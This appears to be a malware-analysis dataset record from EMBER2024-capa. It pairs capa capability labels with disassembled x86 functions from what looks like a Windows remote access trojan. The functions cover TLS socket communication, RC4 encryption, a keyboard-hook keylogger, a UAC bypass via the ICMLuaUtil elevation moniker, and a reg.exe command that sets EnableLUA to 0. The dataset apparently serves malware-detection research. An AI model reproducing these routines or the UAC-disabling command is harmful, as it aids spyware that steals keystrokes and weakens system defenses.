joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4048c8
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x472adc]
sub esp, 0x1c
push ebx
push edi
push dword [eax + 0x10]
push ecx
pop edi
push dword [eax + 0x18]
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x404a1b
cmp byte [edi + 1], al
je 0x404a17
cmp byte [edi + 0x31], al
je 0x404926
sub esp, 0x18
lea eax, [edi + 0x34]
mov ecx, esp
mov edx, str.TLS_Handshake...______
push eax
call fcn.0040531e
sub esp, 0x14
mov ecx, esp
push 0x465fa4
call fcn.00402093
call fcn.0041b4ef
add esp, 0x30
call fcn.00420c60
mov dword [edi + 0x4c], eax
test eax, eax
jne 0x404941
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_1
jmp 0x404a7b
mov edx, dword [edi + 4]
push eax
pop ecx
call fcn.00420e8f
cmp eax, 1
je 0x404987
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_2
call fcn.00402093
sub esp, 0x18
mov ecx, esp
push 0x465f08
call fcn.00402093
call fcn.0041b4ef
add esp, 0x30
mov ecx, dword [edi + 0x4c]
call fcn.00420ca0
and dword [edi + 0x4c], 0
jmp 0x404a97
mov ecx, dword [edi + 0x4c]
call fcn.00421a40
cmp eax, 1
je 0x4049c4
sub esp, 0x18
mov ecx, esp
push str.TLS_Authentication_Failed
call fcn.00402093
sub esp, 0x18
mov ecx, esp
push 0x465f08
call fcn.00402093
call fcn.0041b4ef
mov ecx, dword [edi + 0x4c]
add esp, 0x30
call fcn.004210b2
jmp 0x404976
mov ecx, dword [edi + 0x4c]
call fcn.00420e06
mov dword [edi + 0x50], eax
test eax, eax
jne 0x4049f9
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_3
call fcn.00402093
sub esp, 0x18
mov ecx, esp
push 0x465f08
call fcn.00402093
call fcn.0041b4ef
add esp, 0x30
xor ebx, ebx
push ebx
push 1
push ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateEventW]
push ebx
push 1
push ebx
push ebx
mov dword [edi + 0x70], eax
call dword [sym.imp.KERNEL32.DLL_CreateEventW]
mov dword [edi + 0x6c], eax
mov al, 1
jmp 0x404a99
cmp byte [edi + 0x31], 0
je 0x404a97
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
pop ecx
sub ecx, 0x2736
je 0x404a97
sub ecx, 0x17
je 0x404a71
push eax
pop edx
lea ecx, [ebp - 0x1c]
call fcn.0041cae1
sub esp, 0x18
mov edx, str.Connection_Failed:
mov ecx, esp
push eax
call fcn.004052fd
sub esp, 0x14
mov ecx, esp
push 0x465f08
call fcn.00402093
call fcn.0041b4ef
add esp, 0x30
lea ecx, [ebp - 0x1c]
call fcn.00401fd8
jmp 0x404a97
sub esp, 0x18
mov ecx, esp
push str.Connection_Refused
call fcn.00402093
sub esp, 0x18
mov ecx, esp
push 0x465f08
call fcn.00402093
call fcn.0041b4ef
add esp, 0x30
xor al, al
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x404aa1
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
push ecx
pop edi
lea ecx, [ebp + 0xc]
call fcn.0040247c
push 4
pop esi
xor ebx, ebx
lea ecx, [ebp - 0x20]
push ebx
add eax, esi
push 0xc
mov dword [ebp - 8], eax
call fcn.0040520c
push esi
lea eax, [edi + 0x2c]
push eax
push ebx
lea ecx, [ebp - 0x20]
call fcn.004051e3
push eax
call fcn.00436910
add esp, 0xc
lea eax, [ebp - 8]
lea ecx, [ebp - 0x20]
push esi
push eax
push esi
call fcn.004051e3
push eax
call fcn.00436910
add esp, 0xc
lea eax, [ebp + 8]
lea ecx, [ebp - 0x20]
push esi
push eax
push 8
call fcn.004051e3
push eax
call fcn.00436910
add esp, 0xc
lea eax, [ebp + 0xc]
lea ecx, [ebp - 0x20]
push eax
call fcn.00403376
cmp byte [edi + 1], bl
jne 0x404b40
push ebx
lea ecx, [ebp - 0x20]
call fcn.0040247c
push eax
lea ecx, [ebp - 0x20]
call fcn.00401fab
push eax
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_send]
push eax
pop esi
jmp 0x404b7b
or ebx, 0xffffffff
push ebx
push dword [edi + 0x70]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push ecx
lea ecx, [ebp - 0x20]
call fcn.0040247c
push eax
lea ecx, [ebp - 0x20]
call fcn.00401fab
mov ecx, dword [edi + 0x50]
push eax
pop edx
call fcn.0042103a
pop ecx
push eax
pop esi
pop ecx
push dword [edi + 0x70]
test esi, esi
cmove esi, ebx
call dword [sym.imp.KERNEL32.DLL_SetEvent]
lea ecx, [ebp - 0x20]
call fcn.00401fd8
lea ecx, [ebp + 0xc]
call fcn.00401fd8
pop edi
push esi
pop eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x1c

Function at 0x404b96
Capabilities:
Receive data
Receive data on socket

Disassembly:
push esi
push edi
push ecx
pop edi
cmp byte [edi + 1], 0
je 0x404bcd
push 0xffffffffffffffff
push dword [edi + 0x6c]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
mov edx, dword [esp + 0xc]
push ecx
push dword [esp + 0x14]
mov ecx, dword [edi + 0x4c]
call fcn.00421076
pop ecx
pop ecx
push dword [edi + 0x6c]
push eax
pop esi
call dword [sym.imp.KERNEL32.DLL_SetEvent]
push esi
pop eax
jmp 0x404be0
push 0
push dword [esp + 0x14]
push dword [esp + 0x14]
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_recv]
pop edi
pop esi
ret 0xc

Function at 0x404be5
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
mov dword [ecx + 8], eax
xor eax, eax
push eax
push eax
push ecx
push 0x404c01
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
ret 4
Function at 0x404cc3
Capabilities:
Create thread

Disassembly:
sub esp, 0x38
and dword [esp + 4], 0
push ebx
push ebp
push esi
push ecx
pop esi
lea ecx, [esp + 0x14]
push edi
and dword [esi + 0x54], 0
call fcn.004020df
mov bh, byte [esp + 0x54]
lea eax, [esi + 0x58]
mov edi, dword [esp + 0x4c]
push eax
lea eax, [esp + 0x18]
push edi
pop ecx
push eax
call fcn.00401fab
push eax
push esi
pop ecx
call fcn.00404efb
test al, al
je 0x404e13
movzx ecx, byte [esi + 0x30]
mov ebp, dword [esp + 0x14]
mov dword [esp + 0x54], ecx
add ebp, ecx
push edi
pop ecx
call fcn.0040247c
cmp ebp, eax
jbe 0x404d31
push edi
pop ecx
mov bl, 1
call fcn.0040247c
push ebp
pop ecx
sub ecx, eax
mov dword [esi + 0x54], ecx
jmp 0x404d33
xor bl, bl
test bl, bl
jne 0x404e13
push 0xffffffffffffffff
push dword [esp + 0x58]
lea eax, [esp + 0x38]
push edi
pop ecx
push eax
call fcn.004041a2
push eax
lea ecx, [esp + 0x1c]
call fcn.00401fe2
lea ecx, [esp + 0x30]
call fcn.00401fd8
push dword [esp + 0x14]
lea eax, [esp + 0x34]
push 0
push eax
lea ecx, [esp + 0x24]
call fcn.004041a2
push eax
lea ecx, [esp + 0x1c]
call fcn.00401fe2
lea ecx, [esp + 0x30]
call fcn.00401fd8
lea eax, [esp + 0x18]
test bh, bh
jne 0x404da4
sub esp, 0x18
mov ecx, esp
push eax
call fcn.004020f6
push esi
call dword [esp + 0x6c]
add esp, 0x1c
jmp 0x404de1
push eax
lea ecx, [esi + 0xc]
call fcn.00401fc0
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_CreateEventA]
mov dword [esi + 0x24], eax
xor eax, eax
push eax
push eax
push esi
push dword [esp + 0x5c]
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
push 0xffffffffffffffff
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0xffffffffffffffff
push ebp
lea eax, [esp + 0x38]
push edi
pop ecx
push eax
call fcn.004041a2
push eax
push edi
pop ecx
call fcn.00401fe2
lea ecx, [esp + 0x30]
call fcn.00401fd8
push edi
pop ecx
call fcn.0040247c
test eax, eax
lea eax, [esi + 0x58]
jne 0x404ce9
lea ecx, [esp + 0x18]
call fcn.00401fd8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x38
ret 0xc

Function at 0x404f51
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
push ecx
pop esi
push edi
cmp byte [esi + 0x5c], 0
jne 0x404fea
cmp byte [ebp + 0xc], 0
mov edi, dword [ebp + 8]
jne 0x404f74
mov byte [esi + 0x7c], 1
jmp 0x404fc0
cmp byte [0x472d48], 0
je 0x404fc0
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.DLL_GetLocalTime]
push edi
pop edx
lea ecx, [ebp - 0x28]
call fcn.0041bb8e
sub esp, 0x18
mov edx, str.KeepAlive______________Enabled__Timeout:
mov ecx, esp
push eax
call fcn.004052fd
sub esp, 0x14
mov ecx, esp
push 0x465fa4
call fcn.00402093
call fcn.0041b4ef
add esp, 0x30
lea ecx, [ebp - 0x28]
call fcn.00401fd8
mov dword [esi + 0x74], edi
xor edi, edi
push edi
push edi
push edi
push edi
mov byte [esi + 0x5c], 1
call dword [sym.imp.KERNEL32.DLL_CreateEventA]
push edi
push edi
push esi
push 0x405150
push edi
push edi
mov dword [esi + 0x60], eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov al, 1
jmp 0x404fec
xor al, al
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x406ccd
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebx
push ebp
push esi
xor esi, esi
push edi
push ecx
pop edi
push esi
pop eax
movd xmm0, eax
pshufd xmm0, xmm0, 0
paddd xmm0, xmmword [0x46d290]
movups xmmword [edi + eax*4], xmm0
add eax, 4
cmp eax, 0x100
jl 0x406cd7
mov ebp, dword [esp + 0x14]
push esi
pop ebx
xor edx, edx
push ebx
pop eax
div dword [esp + 0x18]
movzx eax, byte [edx + ebp]
add eax, dword [edi + ebx*4]
add esi, eax
and esi, 0x800000ff
jns 0x406d1d
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [edi + ebx*4]
mov eax, dword [edi + esi*4]
mov dword [edi + ebx*4], eax
inc ebx
movzx eax, cl
mov dword [edi + esi*4], eax
cmp ebx, 0x100
jl 0x406cfc
pop edi
pop esi
pop ebp
pop ebx
ret 8

Function at 0x406d3c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x400
lea eax, [esp]
push ebx
push esi
push edi
push 0x400
push ecx
xor esi, esi
push eax
push esi
pop edi
call fcn.00436910
mov edx, dword [esp + 0x420]
add esp, 0xc
push esi
pop ebx
add edx, 1
je 0x406dcc
push ebp
mov ebp, dword [esp + 0x414]
inc esi
and esi, 0x800000ff
jns 0x406d82
dec esi
or esi, 0xffffff00
inc esi
mov eax, dword [esp + esi*4 + 0x10]
add edi, eax
and edi, 0x800000ff
jns 0x406d98
dec edi
or edi, 0xffffff00
inc edi
mov cl, al
mov eax, dword [esp + edi*4 + 0x10]
mov dword [esp + esi*4 + 0x10], eax
movzx eax, cl
mov dword [esp + edi*4 + 0x10], eax
mov ecx, dword [esp + esi*4 + 0x10]
add ecx, eax
and ecx, 0x800000ff
jns 0x406dbf
dec ecx
or ecx, 0xffffff00
inc ecx
mov al, byte [esp + ecx*4 + 0x10]
xor byte [ebx + ebp], al
inc ebx
cmp ebx, edx
jb 0x406d71
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x400
ret 8

Function at 0x407260
Capabilities:
Terminate process

Disassembly:
xor eax, eax
inc eax
cmp dword [0x4719d0], eax
jne 0x40768a
ret
cmp dword [0x4719d0], 1
jne 0x407697
xor eax, eax
inc eax
ret
push esi
push dword [0x472d44]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov esi, 0x4752d8
mov edx, 0x466468
push esi
pop ecx
call fcn.004077b7
test al, al
je 0x4076c4
push esi
pop ecx
call fcn.00401f04
push eax
pop ecx
jmp 0x4076c9
mov ecx, 0x472b38
call fcn.0040766d
pop esi
test eax, eax
jne 0x4076da
push eax
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
mov ecx, 0x475320
call fcn.00401fab
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
push 2
mov dword [0x472d44], eax
pop eax
ret
Function at 0x407270
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
mov ebx, str.ntdll.dll
push edi
push str.RtlInitUnicodeString
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push eax
call edi
mov dword [0x472afc], eax
test eax, eax
jne 0x40729c
xor eax, eax
jmp 0x407305
push str.NtAllocateVirtualMemory
push ebx
call esi
push eax
call edi
mov dword [0x472b00], eax
test eax, eax
je 0x407298
push str.NtFreeVirtualMemory
push ebx
call esi
push eax
call edi
mov dword [0x472b0c], eax
test eax, eax
je 0x407298
push str.RtlAcquirePebLock
push ebx
call esi
push eax
call edi
mov dword [0x472b04], eax
test eax, eax
je 0x407298
push str.RtlReleasePebLock
push ebx
call esi
push eax
call edi
mov dword [0x472b10], eax
test eax, eax
je 0x407298
push str.LdrEnumerateLoadedModules
push ebx
call esi
push eax
call edi
xor ecx, ecx
mov dword [0x472af8], eax
test eax, eax
setne cl
push ecx
pop eax
pop edi
pop esi
pop ebx
ret

Function at 0x4074fd
Capabilities:
Bypass uac via icmluautil

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
push esi
push edi
push str.___ucmAllocateElevatedObject_n
call fcn.00407200
and dword [ebp - 4], 0
mov edi, str.3E5FC7F9_9A51_4367_9063_A120244FBEC7
push edi
mov esi, 0x80004005
call fcn.0043bad6
pop ecx
pop ecx
cmp eax, 0x40
ja 0x4075a0
lea ecx, [ebp - 0x28]
call fcn.00407190
lea eax, [ebp - 0x230]
mov dword [ebp - 0x28], 0x24
push str.Elevation:Administrator_new:
push eax
mov dword [ebp - 0x14], 4
call fcn.0043f809
lea eax, [ebp - 0x230]
push edi
push eax
call fcn.0043f82b
push str.___CoGetObject_n
call fcn.00407200
add esp, 0x14
lea eax, [ebp - 4]
push eax
push 0x466518
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.ole32.dll_CoGetObject]
push eax
pop esi
test esi, esi
je 0x407595
push str.____CoGetObject_FAILURE_n
jmp 0x40759a
push str.___CoGetObject_SUCCESS_n
call fcn.00407200
pop ecx
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
pop edi
mov dword [ecx], eax
push esi
pop eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x407755
Capabilities:
Create process on windows
Disable system features via registry on windows
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push esi
push edi
push 0x44
pop esi
push esi
xor edi, edi
lea eax, [ebp - 0x58]
push edi
push eax
call fcn.00436e90
push 0x10
lea eax, [ebp - 0x10]
mov dword [ebp - 0x58], esi
push edi
push eax
call fcn.00436e90
add esp, 0x18
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x58]
push eax
push edi
push edi
push 0x8000000
push edi
push edi
push edi
push str._k__windir_System32_reg.exe_ADD_HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem__v_EnableLUA__t_REG_DWORD__d_0__f
push str.C:WindowsSystem32cmd.exe
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40783c
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x2a0
lea eax, [esp + 0x4c]
lea ecx, [esp + 0x2a4]
push ebx
push ebp
push esi
push eax
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileW]
push eax
pop esi
cmp esi, 0xffffffff
jne 0x407886
sub esp, 0x18
lea edx, [esp + 0x2c8]
mov ecx, esp
call fcn.0041bd1e
push 0x54
mov ecx, 0x475058
call fcn.00404aa1
jmp 0x40794d
lea ecx, [esp + 0x10]
call fcn.004020df
lea eax, [esp + 0x84]
push eax
lea ecx, [esp + 0x2c]
call fcn.0040417e
mov edx, 0x466528
push eax
pop ecx
call fcn.004077b7
lea ecx, [esp + 0x28]
mov bl, al
call fcn.00401f09
mov ebp, 0x250
test bl, bl
je 0x407919
push ebp
lea eax, [esp + 0x5c]
push eax
lea ecx, [esp + 0x30]
call fcn.004020b7
push eax
lea ecx, [esp + 0x14]
call fcn.00401fe2
lea ecx, [esp + 0x28]
jmp 0x407914
push ebp
lea eax, [esp + 0x5c]
push eax
lea ecx, [esp + 0x48]
call fcn.004020b7
push eax
lea edx, [esp + 0x14]
lea ecx, [esp + 0x2c]
call fcn.00406362
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.00401fe2
lea ecx, [esp + 0x28]
call fcn.00401fd8
lea ecx, [esp + 0x40]
call fcn.00401fd8
lea eax, [esp + 0x58]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_FindNextFileW]
test eax, eax
jne 0x4078df
sub esp, 0x18
lea eax, [esp + 0x28]
mov ecx, esp
push eax
call fcn.004020f6
push 0x50
mov ecx, 0x475058
call fcn.00404aa1
lea ecx, [esp + 0x10]
call fcn.00401fd8
lea ecx, [esp + 0x2b0]
call fcn.00401f09
pop esi
pop ebp
pop ebx
add esp, 0x2a0
ret
Function at 0x407963
Capabilities:
Delete file
Move file
Write file on windows

Disassembly:
mov eax, 0x186e4
call fcn.004576b0
push ebx
push ebp
push esi
push ecx
pop esi
lea edx, [esp + 0x186fc]
push edi
xorps xmm0, xmm0
mov dword [esp + 0x18], esi
xor ebx, ebx
movlpd qword [esp + 0x10], xmm0
push 0x46652c
lea ecx, [esp + 0x3c]
mov dword [esp + 0x20], ebx
call fcn.0040915b
pop ecx
push eax
lea ecx, [esp + 0x24]
call fcn.00403262
lea ecx, [esp + 0x38]
call fcn.00401f09
push ebx
push 0x80
push 2
push ebx
push ebx
push 4
lea ecx, [esp + 0x38]
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
push eax
pop ebp
mov eax, dword [esp + 0x186fc]
cmp dword [esp + 0x14], eax
ja 0x407a4c
mov edi, dword [esp + 0x186f8]
jae 0x407a46
push ecx
push 0x186a0
lea eax, [esp + 0x58]
push esi
pop ecx
push eax
call fcn.00404b96
push eax
pop esi
cdq
add dword [esp + 0x10], eax
lea eax, [esp + 0x1c]
push ebx
adc dword [esp + 0x18], edx
push eax
push esi
lea eax, [esp + 0x5c]
push eax
push ebp
call dword [sym.imp.KERNEL32.DLL_WriteFile]
sub esp, 0x18
lea eax, [esp + 0x28]
mov ecx, esp
push 8
push eax
call fcn.004020b7
mov ecx, dword [esp + 0x30]
push 0x57
call fcn.00404aa1
test esi, esi
jle 0x407a94
mov eax, dword [esp + 0x186fc]
mov esi, dword [esp + 0x18]
cmp dword [esp + 0x14], eax
jb 0x4079e3
ja 0x407a4c
cmp dword [esp + 0x10], edi
jb 0x4079e3
push ebp
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea ecx, [esp + 0x18700]
call fcn.00401f04
push eax
lea ecx, [esp + 0x24]
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.DLL_MoveFileW]
mov bl, 1
lea ecx, [esp + 0x20]
call fcn.00401f09
lea ecx, [esp + 0x18700]
call fcn.00401f09
pop edi
pop esi
pop ebp
mov al, bl
pop ebx
add esp, 0x186e4
ret
push ebp
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea ecx, [esp + 0x20]
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
jmp 0x407a72

Function at 0x407aad
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push esi
push edi
push ecx
pop esi
call fcn.004020df
lea ecx, [ebp + 8]
call fcn.00401fab
push eax
pop edi
jmp 0x407b34
push 0xa
lea eax, [ebp - 4]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_GetDriveTypeA]
push eax
call fcn.00441e81
add esp, 0xc
lea eax, [ebp - 4]
lea ecx, [ebp - 0x4c]
push 0x2d
push eax
call fcn.00402093
push eax
pop ecx
call fcn.00401fab
push eax
push esi
pop edx
lea ecx, [ebp - 0x34]
call fcn.00406c1e
pop ecx
push eax
pop edx
lea ecx, [ebp - 0x1c]
call fcn.0040919d
pop ecx
push eax
push esi
pop ecx
call fcn.00401fe2
lea ecx, [ebp - 0x1c]
call fcn.00401fd8
lea ecx, [ebp - 0x34]
call fcn.00401fd8
lea ecx, [ebp - 0x4c]
call fcn.00401fd8
push edi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
inc edi
add edi, eax
cmp byte [edi], 0
jne 0x407ac8
lea ecx, [ebp + 8]
call fcn.00401fd8
pop edi
push esi
pop eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x409ea3
Capabilities:
Get keyboard layout

Disassembly:
sub esp, 0x194
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x1a8]
add ecx, 0x98
push eax
call fcn.00401fc0
xor eax, eax
mov byte [esp + 0x14], al
mov dword [esp + 0x15], eax
mov dword [esp + 0x19], eax
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardLayoutNameA]
mov ebp, 0x4751a8
push ebp
pop ecx
call fcn.0040482d
push ecx
push ebp
pop ecx
call fcn.004048c8
push dword [0x475140]
lea ecx, [esp + 0x24]
call fcn.0040417e
push 0x12
mov ecx, 0x4750e4
call fcn.00401e65
push eax
pop ecx
call fcn.00401fab
mov edx, dword [0x47513c]
lea ecx, [esp + 0x188]
push eax
pop esi
call fcn.0041bb8e
sub esp, 0x18
lea edx, [esp + 0x38]
mov edi, esp
lea ecx, [esp + 0x188]
mov ebx, 0x474ee0
push eax
push ebx
call fcn.0041bd1e
push eax
push ebx
lea eax, [esp + 0x1d0]
mov ecx, 0x475158
push eax
push ebx
call fcn.00401f04
push eax
pop ecx
call fcn.0041c515
push eax
pop edx
lea ecx, [esp + 0x188]
call fcn.0041bb8e
mov edx, dword [0x4751a0]
lea ecx, [esp + 0x170]
push eax
push ebx
call fcn.0041bb8e
push eax
movzx eax, byte [esi]
lea edx, [esp + 0x50]
push ebx
push eax
push ebx
lea ecx, [esp + 0x170]
call fcn.0040531e
pop ecx
push eax
pop edx
lea ecx, [esp + 0x154]
call fcn.0040919d
pop ecx
push eax
pop edx
lea ecx, [esp + 0x138]
call fcn.00402f10
pop ecx
push eax
pop edx
lea ecx, [esp + 0x11c]
call fcn.00402ea1
pop ecx
push eax
pop edx
lea ecx, [esp + 0x100]
call fcn.00402f10
pop ecx
push eax
pop edx
lea ecx, [esp + 0xe4]
call fcn.00402ea1
pop ecx
push eax
pop edx
lea ecx, [esp + 0xc8]
call fcn.00402f10
pop ecx
push eax
pop edx
lea ecx, [esp + 0xac]
call fcn.00402f10
pop ecx
push eax
pop edx
lea ecx, [esp + 0x90]
call fcn.00402f10
pop ecx
push eax
pop edx
lea ecx, [esp + 0x74]
call fcn.00402ea1
pop ecx
push eax
pop edx
lea ecx, [esp + 0x58]
call fcn.00402f10
pop ecx
push eax
pop edx
push edi
pop ecx
call fcn.00402ea1
pop ecx
push 0x12
push ebp
pop ecx
call fcn.00404aa1
lea ecx, [esp + 0x38]
push eax
pop esi
call fcn.00401fd8
lea ecx, [esp + 0x50]
call fcn.00401fd8
lea ecx, [esp + 0x68]
call fcn.00401fd8
lea ecx, [esp + 0x80]
call fcn.00401fd8
lea ecx, [esp + 0x98]
call fcn.00401fd8
lea ecx, [esp + 0xb0]
call fcn.00401fd8
lea ecx, [esp + 0xc8]
call fcn.00401fd8
lea ecx, [esp + 0xe0]
call fcn.00401fd8
lea ecx, [esp + 0xf8]
call fcn.00401fd8
lea ecx, [esp + 0x110]
call fcn.00401fd8
lea ecx, [esp + 0x128]
call fcn.00401fd8
lea ecx, [esp + 0x140]
call fcn.00401fd8
lea ecx, [esp + 0x158]
call fcn.00401fd8
lea ecx, [esp + 0x170]
call fcn.00401fd8
lea ecx, [esp + 0x188]
call fcn.00401fd8
lea ecx, [esp + 0x20]
call fcn.00401f09
lea ecx, [esp + 0x1a8]
call fcn.00401fd8
pop edi
push esi
pop eax
pop esi
pop ebp
pop ebx
add esp, 0x194
ret 0x18
Function at 0x40a179
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
lea eax, [ebp + 8]
push ebx
push esi
push ecx
pop esi
push edi
push eax
lea ecx, [esi + 0x68]
mov byte [esi + 0x49], 1
call fcn.0040b8ec
cmp dword [esi + 0x4c], 2
mov edi, str.Offline_Keylogger_Started
je 0x40a1ca
push edi
lea ecx, [esp + 0x14]
call fcn.00402093
sub esp, 0x18
lea edx, [esp + 0x28]
mov ecx, esp
call fcn.0041bc5e
push esi
pop ecx
call fcn.0040b164
lea ecx, [esp + 0x10]
call fcn.00401fd8
sub esp, 0x18
mov ecx, esp
push edi
call fcn.00402093
sub esp, 0x18
mov ecx, esp
push 0x465fa4
call fcn.00402093
call fcn.0041b4ef
mov edi, dword [sym.imp.KERNEL32.DLL_CreateThread]
add esp, 0x30
xor ebx, ebx
push ebx
push ebx
push esi
push 0x40a27d
push ebx
push ebx
call edi
cmp dword [esi], ebx
jne 0x40a210
push ebx
push ebx
push esi
push 0x40a267
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x40a289
push ebx
push ebx
call edi
lea ecx, [ebp + 8]
call fcn.00401f09
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x18

Function at 0x40a22d
Capabilities:
Create thread

Disassembly:
lea eax, [esp + 4]
mov ecx, 0x475158
push eax
call fcn.0040b8ec
cmp byte [0x475139], 0
jne 0x40a25b
xor eax, eax
push eax
push eax
push 0x4750f0
push 0x40a273
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
lea ecx, [esp + 4]
call fcn.00401f09
ret 0x18

Function at 0x40a2b8
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x38
push esi
push ecx
pop esi
push edi
xor edi, edi
mov dword [0x472b24], esi
cmp dword [esi], edi
jne 0x40a333
push edi
push edi
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
push 0x40a2a4
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov dword [esi], eax
test eax, eax
jne 0x40a333
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
pop edx
lea ecx, [esp + 0xc]
call fcn.0041bb8e
sub esp, 0x18
mov edx, str.Keylogger_initialization_failure:_error
mov ecx, esp
push eax
call fcn.004052fd
sub esp, 0x14
mov ecx, esp
push 0x465f08
call fcn.00402093
call fcn.0041b4ef
add esp, 0x30
lea ecx, [esp + 0xc]
call fcn.00401fd8
xor eax, eax
inc eax
jmp 0x40a361
push edi
push edi
push edi
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x40a35f
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [esi], edi
jne 0x40a333
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret